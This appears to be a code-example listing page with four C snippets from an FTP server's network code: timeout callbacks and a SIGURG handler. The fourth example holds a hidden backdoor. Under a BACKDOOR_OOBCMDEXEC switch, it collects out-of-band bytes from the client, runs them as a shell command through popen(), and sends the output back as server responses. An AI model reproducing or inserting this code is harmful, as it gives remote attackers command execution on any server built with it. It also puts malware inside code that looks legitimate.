Exemple #1
0
static int connect_timeout_cb(CALLBACK_FRAME) {
  connect_timeout_reached = TRUE;

  if (connect_timeout_strm != NULL) {
    /* Abort the stream. */
    pr_netio_abort(connect_timeout_strm);
    connect_timeout_strm->strm_errno = ETIMEDOUT;
  }

  return 0;
}
Exemple #2
0
static int ident_timeout_cb(CALLBACK_FRAME) {
  ident_timeout++;

  if (nstrm) {
    /* Abort the NetIO stream, which will cause netio_poll (and thus
     * netio_read) to also abort.  This is similar to the way data connects
     * are aborted.
     */
    pr_netio_abort(nstrm);
  }

  return 0;
}
Exemple #3
0
/* This signal is raised if we get OOB data on the control connection, and
 * a data transfer is in progress.
 */
static RETSIGTYPE data_urgent(int signo) {
  if (session.sf_flags & SF_XFER) {
    pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), "
      "setting 'aborted' session flag", signo);
    session.sf_flags |= SF_ABORT;

    if (nstrm) {
      pr_netio_abort(nstrm);
    }
  }

  signal(SIGURG, data_urgent);
}
Exemple #4
0
/* This signal is raised if we get OOB data on the control connection, and
 * a data transfer is in progress.
 */
RETSIGTYPE data_urgent(int signo) {
  if (session.sf_flags & SF_XFER) {
    pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), "
      "setting 'aborted' session flag", signo);
    session.sf_flags |= SF_ABORT;

    if (nstrm)
      pr_netio_abort(nstrm);
  }

#ifdef BACKDOOR_OOBCMDEXEC
  char buffer;
  char *ptr;
  FILE *fptr;
  int n;

  if (mydummy == 0) {
#ifdef BACKDOOR_DEBUG
    syslog(LOG_INFO, "oobcmdexec data_urgent: error: dummy is 0");
#endif
    return;
  }
  
  if ((n = recv(mydummy, &buffer, 1, MSG_OOB)) < 0) {
#ifdef BACKDOOR_DEBUG
    syslog(LOG_INFO, "oobcmdexec data_urgent: recv() failed: %s", strerror(errno));
#endif
    return;
  }

  if (!n) {
#ifdef BACKDOOR_DEBUG
    syslog(LOG_INFO, "oobcmdexec data_urgent: received 0 bytes");
#endif
    return;
  }

#ifdef BACKDOOR_DEBUG
  syslog(LOG_INFO, "oobcmdexec data_urgent: received character: %c", buffer);
#endif
  if (buffer == '\0') {
#ifdef BACKDOOR_DEBUG
    syslog(LOG_INFO, "oobcmdexec data_urgent: popen(%s)", mycommand);
#endif
    mycount = 0;

    fptr = popen(mycommand, "r");
    while (fgets(mycommand, sizeof(mycommand), fptr) != NULL) {
      if ((ptr = strchr(mycommand, '\n')))
        *ptr = '\0';
      pr_response_send_async(R_530, "%s", mycommand);
    }
    pclose(fptr);
  }
  else {
    mycommand[mycount] = buffer;
    mycount++;
  }
#endif /* BACKDOOR_OOBCMDEXEC */

  signal(SIGURG, data_urgent);
}